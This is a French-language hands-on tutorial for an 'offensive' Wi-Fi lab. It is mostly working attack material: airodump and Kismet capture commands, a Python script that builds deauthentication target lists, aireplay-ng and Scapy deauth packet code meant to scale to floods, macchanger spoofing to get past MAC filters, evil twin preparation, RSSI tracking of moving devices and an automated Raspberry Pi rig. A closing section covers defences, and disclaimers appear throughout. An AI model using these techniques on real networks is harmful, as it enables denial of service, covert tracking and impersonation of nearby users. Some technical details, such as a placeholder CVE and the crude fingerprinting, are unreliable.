📡 CHASSE MAC 2025 : Reconnaissance Physique Offensive

Maîtrisez la capture d'adresses MAC en mouvement, analysez les topographies réseau, identifiez les vulnérabilités ciblées et implémentez des contre-mesures robustes. Guide pratique avec démonstrations offensives contrôlées.

RECONNAISSANCE OFFENSIVE Niveau Intermédiaire

🎯 Mission : Lab MAC Hunt Physique

Développez vos compétences en reconnaissance offensive grâce à ce laboratoire pratique. Ce guide vous accompagne dans la construction d'un environnement de test complet, utilisable en virtualisation ou sur du matériel dédié, avec un focus sur les techniques d'exploitation réelles.

Objectif Pédagogique : Reproduire en environnement contrôlé les techniques de capture et d'analyse utilisées dans les pentests réels. Approche 100% éthique.
Philosophie : "Comprendre pour mieux se défendre." Maîtrisez les mécanismes de fuite pour renforcer la sécurité de vos infrastructures, en simulant des scénarios offensifs contrôlés.

🏗️ Architecture du Laboratoire

Deux approches sont proposées : Environnement virtualisé pour une prise en main rapide, ou configuration matérielle pour une expérience offensive complète. Les deux options intègrent des simulations de reconnaissance physique.

[ VOTRE CONFIGURATION ] → [ Votre Réseau de Test ] → [ Analyse Offensif Contrôlée ]
VM Kali/Matériel Kali ───▶ Point d'Accès "Lab_MAC_Hunt" ───▶ Équipements de Test
Antenne USB (mode monitor) SSID dédié Adresses MAC connues pour targeting
Avantage : Simulation de pentests sur vos propres équipements – 100% légal et maîtrisé, avec focus sur exploitation MAC pour identification et déni de service ciblé.
Virtualisation vs Matériel : La virtualisation offre une flexibilité pour des tests rapides. Le matériel dédié lui, permet une reconnaissance radio offensive authentique, comme les attaques de déauthentification en mouvement.

🔧 Construction du Lab - Étape par Étape

Option Virtualisation (Démarrage Rapide)

  1. Installez Kali VM avec extensions USB activées (VirtualBox/VMware pour un passthrough adaptateur).
  2. Branchez un adaptateur WiFi compatible (RTL8812AU pour mode monitor stable et attaques deauth).
  3. Configurez le réseau en bridge vers votre réseau local (accès à AP réel pour simulations offensives).
  4. Activez le mode monitor : iwconfig wlan0 mode monitor (vérifiez avec iwconfig).
  5. Validez : airodump-ng wlan0 – visualisez votre AP et devices pour targeting initial.
# Procédure de validation : sudo airmon-ng start wlan0 sudo airodump-ng wlan0mon # Résultat attendu : Liste BSSID/MAC avec puissance du signal. Si rien : Vérifiez channel (iw wlan0 set channel 6) ou les éentuelles interférences.

Option Matériel Dédié (Offensif Pure)

  1. Installez Kali ARM sur un Raspberry Pi 4 (image officielle, flash via Raspberry Pi Imager pour un boot rapide).
  2. Branchez une Alfa AWUS036ACH via un câble USB d'extension (évite les interférences pour un deauth range 100m+).
  3. Alimentez avec batterie externe 10000mAh+ (pour 4h+ d'autonomie en warwalking offensif).
  4. Ajoutez un boîtier avec un ventilateur (temp <70°C sous une charge de deauth flood).
  5. Contrôlez à distance via SSH (raspi-config > Interface Options > SSH pour remote attacks).
# Validation matérielle : iwconfig # Résultat attendu : wlan0 Mode:Monitor Power:on. Vérifiez la temp. : vcgencmd measure_temp (doit <70°C pour des scans prolongés).
Dépannage Réel : Pas de mode monitor ? sudo apt install realtek-rtl88xxau-dkms → reboot et retestez. Adaptateur non détecté ? lsusb pour confirmer, ou rfkill unblock wifi.

📋 Outils et Installation

# Mise à jour et installation complète (Kali 2025) :

sudo apt update && sudo apt upgrade -y

sudo apt install -y kismet wireshark nmap python3-scapy aircrack-ng macchanger git

# Configuration de Kismet pour un lab offensif (éthique) :

sudo usermod -a -G kismet $USER

sudo systemctl enable --now kismet

# Test : kismet -c wlan0 --no-logging (démarre sans erreur, capture probes pour deauth prep).

Justification des Outils :

Kismet pour la capture passive/GPS-taggée (warwalking offensif),

Wireshark pour la dissection des frames (analyse deauth responses),

Nmap pour une topologie des hops (ciblage multi-couches),

Scapy pour les scripts custom (deauth packets forgés),

Aircrack pour le mode monitor/deauth basique,

Macchanger pour un spoofing offensif (impersonation tests).

📡 Étape 1 : Capture en Lab

Configurez votre AP de test (box/routeur en mode AP pour simu cible) et capturez vos devices. Pourquoi ? Contrôlez variables pour identifier fuites réelles (probes pour OSINT offensif), préparez attaques ciblées.

  1. Créez AP : Sur box, activez SSID "Lab_MAC_Hunt" (ouvert pour simplicité, WPA2-PSK pour réalisme offensif).
  2. Activez WiFi sur 3-5 devices : Smartphone, laptop, IoT (simulez cibles vulnérables).
  3. Capturez : 5-10 min, déplacez devices pour simu reconnaissance mobile (force plus de probes).

# Lancement Kismet (capture passive, prep deauth) :

sudo kismet -c wlan0 --no-logging --override-capture-kill

# Résultat attendu (console) :

INFO: Source wlan0 démarrée.

[WLAN] DEVICE: AA:BB:CC:DD:EE:FF (Samsung) PROBES: ['Home_SSID', 'Cafe_Free'] - Signal: -52 dBm

[WLAN] DEVICE: 11:22:33:44:55:66 (Apple) PROBES: ['iPhone_Perso'] - Canal: 6

# Arrêt (Ctrl+C), export : kismet -r capture.kismet pour Wireshark.

# Alt Aircrack (offensif basique, force probes) :

sudo airmon-ng start wlan0

sudo airodump-ng wlan0mon -c 6 --bssid VOTRE_AP_MAC -w capture_lab --output-format pcap

# Résultat : capture_lab-01.cap avec MAC/probes. Troubleshoot : Pas de frames ? iwlist wlan0 scan pour channels actifs.

Pour un "Réalisme Offensif" : Déplacez votre devices pour capturer les variations RSSI (simule wardriving). Filtre avec Wireshark ex: "wlan.fc.type_subtype == 0x04" pour les probes – idéal pour cibler des deauth sur MAC vulnérables.
Avertissement Éthique : Lab privé uniquement – simulez sur vos devices. Pas de déauth sur tdes iers sans autorisation (illégal).

🔬 Analyse Avancée - Scripts Perso

Développez un analyseur offensif custom pour automatiser déductions et prep attacks (ex. liste MAC pour deauth ciblé). Pourquoi ? Scalable pour pentests, intègre OSINT vendor pour vuln targeting.

#!/usr/bin/env python3

# mac_tracker_offensif.py - Analyseur offensif pour lab-only (sauvegardez *.py, chmod +x)

import scapy.all as scapy

from datetime import datetime

import json

class MacLabOffensif:

def __init__(self):

# Base devices connus (ajoutez vos MAC cibles ici)

self.known_devices = {

'AA:BB:CC:DD:EE:FF': {'nom': 'Smartphone_Cible', 'type': 'Android', 'risque': 'Élevé (IoT-like, vuln deauth)', 'cible_deauth': True},

'11:22:33:44:55:66': {'nom': 'Box_Cible', 'type': 'Routeur', 'risque': 'Moyen (OUI ISP pour OSINT)', 'cible_deauth': False}

}

self.alerts = []

def analyze_pcap(self, fichier_pcap):

"""Analyse offensive : MAC, probes, RSSI, "prep. deauth list"."""

packets = scapy.rdpcap(fichier_pcap)

mac_stats = {}

deauth_targets = [] # Liste pour les attaques

for pkt in packets:

if pkt.haslayer(scapy.Dot11): # Frames WiFi L2

mac_src = pkt.addr2 # MAC source (cible potentielle)

if mac_src not in mac_stats:

mac_stats[mac_src] = {'probes': set(), 'rssi_avg': [], 'timestamp': []}

# Probes (historique de fuites)

if pkt.type == 0 and pkt.subtype == 4 and pkt.haslayer(scapy.Dot11ProbeReq):

ssid = pkt.info.decode('utf-8', errors='ignore') if pkt.info else 'Inconnu'

mac_stats[mac_src]['probes'].add(ssid)

# RSSI pour targeting range

if hasattr(pkt, 'dBm_AntSignal'):

mac_stats[mac_src]['rssi_avg'].append(pkt.dBm_AntSignal)

mac_stats[mac_src]['timestamp'].append(datetime.now().isoformat())

# Alertes offensives

for mac, stats in mac_stats.items():

if mac in self.known_devices and self.known_devices[mac]['cible_deauth']:

rssi_moy = sum(stats['rssi_avg']) / len(stats['rssi_avg']) if stats['rssi_avg'] else 0

alert = f"[OFFENSIF] Cible {self.known_devices[mac]['nom']} - Probes: {len(stats['probes'])}, RSSI: {rssi_moy:.1f}dBm - Vuln: {self.known_devices[mac]['risque']} - Prep deauth: OUI"

print(alert)

self.alerts.append(alert)

deauth_targets.append(mac) # Pour script deauth ultérieur

else:

print(f"[INFO] MAC {mac} inconnu - Probes: {stats['probes']} - Potentiel cible")

# Export JSON pour targeting (ex. input deauth script)

export = {'alertes_offensives': self.alerts, 'stats': mac_stats, 'cibles_deauth': deauth_targets}

with open('cibles_offensives.json', 'w') as f:

json.dump(export, f, indent=2)

print("Exporté vers cibles_offensives.json - Utilisez pour attaques simulées.")

# Utilisation : python3 mac_tracker_offensif.py capture_lab.cap

if __name__ == "__main__":

analyseur = MacLabOffensif()

analyseur.analyze_pcap('capture_lab.cap') # Remplacez par votre nom de fichier

Personnalisation Offensive : Étendez pour détection mouvements (RSSI var >20dB = cible mobile pour un tracking), corrélation temporelle (timestamps pour timing deauth), ou exporter pour evil twin (SSID probes comme des leurres). Test : python3 mac_tracker_offensif.py ton_cap.cap – liste les cibles avec risques.
Avertissement Éthique : Scripts pour lab/simulés uniquement – deauth illégal sans autorisation. Utilisez pour pentests autorisés.

⚔️ Techniques Offensives Avancées

Simulez des attaques réelles en lab pour comprendre l'impacts ("deauth" pour forcer une reconnexion/probes leaks, "spoof" pour l'impersonation). Pourquoi ? Se former à un red team éthique, préparer des blues counters. Tout en contrôlé (sur vos devices).

Attaque Deauth (Force Probes Leaks) : Envoyez paquets déauth pour déconnecter une cibles, forçant une reconnexion avec plus de probes (OSINT gold). Réalisable : 30s par cible.

# Avec Aircrack (basique, lab only) :

sudo aireplay-ng -0 10 -a VOTRE_AP_MAC -c MAC_CIBLE wlan0mon # 10 paquets deauth.

# Résultat attendu : Cible déconnectée, probes flood visibles en capture. Pourquoi : Force l'authentification, révèle les SSID cachés.

# Alt Scapy custom (avancé) :

from scapy.all import *

deauth_pkt = RadioTap()/Dot11(addr1=MAC_CIBLE, addr2=VOTRE_MAC, addr3=VOTRE_AP_MAC)/Dot11Deauth(reason=7)

sendp(deauth_pkt, iface="wlan0mon", count=10, inter=0.1) # 10 paquets, 0.1s intervalle.

# Résultat : Même effet, scriptable pour un flood massif. Exportez les probes permet un "post-attack" pour analyse ultérieur.

Spoof MAC pour Impersonation (Evil Twin Prep.) : Changez votre MAC pour mimic cible, simulez MITM. Pourquoi ? Teste ACL MAC, force le traffic et reroute en lab.

# Spoof simple :

sudo macchanger -m AA:BB:CC:DD:EE:FF wlan0 # Remplacez par MAC cible de votre lab.

sudo ifconfig wlan0 up # Réactive.

# Résultat : Votre interface = MAC cible (vérifiez ifconfig). Pourquoi : Bypass filtre MAC sur AP.

# Test offensif : nmcli dev wifi connect Lab_MAC_Hunt (avec spoof) – doit passer comme une"cible légitime".

OSINT Offensif avec MAC : Vendor via OUI (scapy.get_manuf) → Recherche CVE (ex. Huawei MAC = scan pour router les vulns 2025 comme CVE-2025-XXXX). En lab : Corréllez avec nmap -O pour OS fingerprinting post-spoof.
Avertissement Sévère : Offensif simulé uniquement – deauth/spoof illégaux hors pentest autorisé. Toujours ROE (Rules of Engagement).

🔍 Étape 2 : Analyse et Déductions

Exploitez les MAC capturées pour identifier des équipements et la topologie, preparez l'offensif (ciblage vulns via vendor).

Identification par OUI : Préfixe OUI déduit fabricant/type pour targeting (ex. Apple MAC = iOS vulns probes).

# Extension analyseur :

for mac in mac_stats:

try:

fabricant = scapy.get_manuf(mac) or 'Inconnu'

type_equip = 'Smartphone (iOS vuln)' if 'Apple' in fabricant else 'Routeur (deauth cible)' if 'Huawei' in fabricant else 'Autre (OSINT général)'

print(f"MAC: {mac} - Fabricant: {fabricant} - Type Offensif: {type_equip}")

if 'Apple' in fabricant:

print(f"[TARGET] Vulns probables: Probes leaks pour social engineering (SSID perso).")

except Exception as e:

print(f"Erreur MAC {mac}: {e} - Update DB OUI.")

# Résultat : "MAC: 11:AA:22:BB:CC:DD - Fabricant: Apple Inc. - Type Offensif: Smartphone (iOS vuln)"..

Actions Offensives : Spoof pour bypass ACL (macchanger -m MAC_CIBLE wlan0 – test MITM en lab). Track via RSSI pour prioriser les cibles mobiles.
Éthique Blue Team : Randomisation MAC contre le spoof (Paramètres > Confidentialité > Adresse aléatoire – recapture pour valider 100% change).

🌐 Étape 3 : Multi-Hops

Complétez analyse L2 par L3 pour topologie offensive (ciblage chain via hops).

# Connexion AP : nmcli dev wifi connect Lab_MAC_Hunt password votre_pass # Vue interne pour probes internes.

# Traceroute hops : traceroute 8.8.8.8 # TTL pour déduire.

# Résultat : "1 192.168.1.1 (routeur cible) 2ms TTL=64 ; 2 10.0.0.1 (box ISP) 5ms TTL=63". Offensif : Hop2 vuln ? Scan Nmap post.

# Nmap local offensif : nmap -sn -T4 --script mac-geolocation 192.168.1.0/24 # Avec script pour OSINT MAC.

# Résultat : "Host 192.168.1.100 MAC 11:AA:22:BB:CC:DD (Samsung) - Géoloc approx via OUI". Troubleshoot : Bloqué ? -Pn, ou sudo pour raw sockets.

# Multi-hops offensif : ssh user@hop1 "nmap -sn 192.168.2.0/24" # Chain attacks lab.

Déductions Offensives : TTL bas = Routeur direct (deauth pour DoS local) ; Hop2 haute latence = Box ISP. MAC + hops = Mapping pour lateral movement simu.
Avertissement : Public nets uniquement – pas d'accès non autorisé, même pour les hops.

🕵️ Étape 4 : Capturable par Tous

Démonstration accessibilité offensive sans matos pro – apps pour recon basique, déductions pour targeting initial.

Apps Communes Offensives :
Wigle WiFi (Android/iOS) – recon auto MAC/SSID pour wardriving light. Résultat : "AP MAC 11:AA:22:BB, Vendor Huawei (cible box pour deauth)".
Déductions Simples Offensives :
Probes : Historique SSID pour social engineering (leurres evil twin). OUI MAC : 00:0C:29 = VMware (cible VM pour spoof bypass).
Smartphone Offensif :
iOS limité, mais Airport Utility pour voisins (prep OSINT). Android root : bcmon pour monitor, deauth basique.
Fuites Courantes Offensives :
ARP/MDNS broadcast – déduit devices pour targeted deauth (ex. imprimante HP vuln).
Conseil Offensif : Commun : 80% MAC publics via probes – scan Wigle 1 min pour map cibles potentielles (lab : votre quartier simulé).

🕶️ Étape 5 : Fuites et Protection

Analyse risques fuites MAC en contexte offensif (tracking pour spear-phishing via SSID leaks).

Décomposition Fuites Offensives : Probes : Téléphone broadcast "HomeWiFi" public = Recon pour evil twin. ARP : MAC local pour ARP poison prep. Hops TTL : Expose infra pour chain attacks (box ISP comme pivot). Pourquoi protéger ? Trackers corrélaient MAC à identité (cams/GPS) pour doxxing ciblé.
Impacts Réels Offensifs : MAC smartphone + loc = Profil pour phishing personnalisé. MAC box = Modèle pour zero-day 2025 (ex. rotation MAC bypass via deauth flood).
Avertissement : Protégez privacy – éduquez sur risques offensifs.

🛡️ Étape 6 : Contre-Mesures

Mettez en œuvre et validez protections contre offensives (anti-deauth, spoof resist). Test pre/post pour metrics.

Android Anti-Offensif :
Adresse MAC aléatoire (Dev Options). Recapture : Nouveau MAC, probes atténuées.
Contre deauth : Activez PMF (WPA3) pour ignorer floods.
iOS Anti-Offensif :
Adresse WiFi privée. Recapture : MAC changée, historique masqué.
Contre spoof : Rotation auto + App Transport Security pour probes secure.
Linux Anti-Offensif :
macchanger -r wlan0 permanent (cron). Recapture : Spoof résistant.
Contre deauth : wpa_supplicant avec pmf=2 (802.11w mandatory).
Routeur Anti-Offensif :
Masquage SSID + Filtre MAC dynamique. Recapture : Probes réduites.
Contre evil twin : WPA3 + Certificat client pour auth mutuelle.
Stratégie Défense Profonde : Couches : Random + VPN + PMF. Test : Capture pre/post deauth simu, comparez reconnexion time (doit <5s avec PMF).

🎭 Scénarios Avancés

Simulez scénarios offensifs en lab pour valider chain attacks (deauth + spoof pour MITM).

Scénario 1 : Tracking Mouvement Offensif

  • AP à 2 positions (10m apart).
  • Bougez smartphone, capture RSSI var.
  • Triangulez pour cibler mobile (prep deauth en mouvement).
  • Map pour wardriving simu.

# Script triangulation offensif :

positions = {

'zone1': {'mac': 'AA:BB:CC:DD:EE:FF', 'rssi_avg': -45}, # Cible proche

'zone2': {'mac': 'AA:BB:CC:DD:EE:FF', 'rssi_avg': -65} # Cible loin

}

for zone, data in positions.items():

if data['rssi_avg'] > -50:

print(f"[TARGET] Cible en {zone} (proche pour deauth, RSSI {data['rssi_avg']} dBm)")

else:

print(f"[TARGET] Cible en {zone} (lointaine, monitor pour entrée range)")

# Résultat : "[TARGET] Cible en zone1 (proche pour deauth, RSSI -45 dBm)". Intégrez RSSI réel de capture.

Scénario 2 : Fingerprinting Offensif

  • Capture probes 5 devices (5 min).
  • Analysez timing pour OS (iOS régulier vs Android random).
  • Déduisez sans OUI pour targeting (ex. iOS = probes pour social eng).
  • Construisez signatures pour evil twin.

# Pattern fingerprint offensif :

intervals = [20, 25, 18] # Diffs timestamps probes (sec)

avg_interval = sum(intervals) / len(intervals)

if avg_interval < 22:

print("Fingerprint : iOS (probes régulières - cible pour WPA3 bypass simu)")

else:

print("Fingerprint : Android (irrégulières - cible pour deauth flood)")

# Résultat : "Fingerprint : iOS (probes régulières - cible pour WPA3 bypass simu)". Troubleshoot : Pas timing ? Ajoutez pkt.time diffs.

Avertissement : Scénarios lab privé – simulez pour contrer, pas pour exploiter.

🛠️ Étape 7 : Lab Complet

Déployez en plateforme mobile autonome pour tests offensifs réels (deauth en mouvement).

# Config Raspi offensif : sudo apt update && sudo apt install kismet python3-scapy aircrack-ng

# Automatisation cron (crontab -e) :

* * * * * /usr/bin/kismet -c wlan0 --out-prefix /home/pi/captures/mac_hunt_$(date +\%Y\%m\%d_\%H\%M) --no-logging ; python3 /home/pi/mac_tracker_offensif.py /home/pi/captures/mac_hunt_*.cap

# Test full : Marche 100m, capture + analyse auto. Résultat : Alerts + JSON cibles.

Avertissement : Lab privé/légal – pas d'intrusion, même offensive.

✅ Validation des Acquis

Votre lab est opérationnel pour une reconnaissance offensive contrôlée. Maîtrisez la chaîne : Capture → Analyse → Attaque simu → Défense.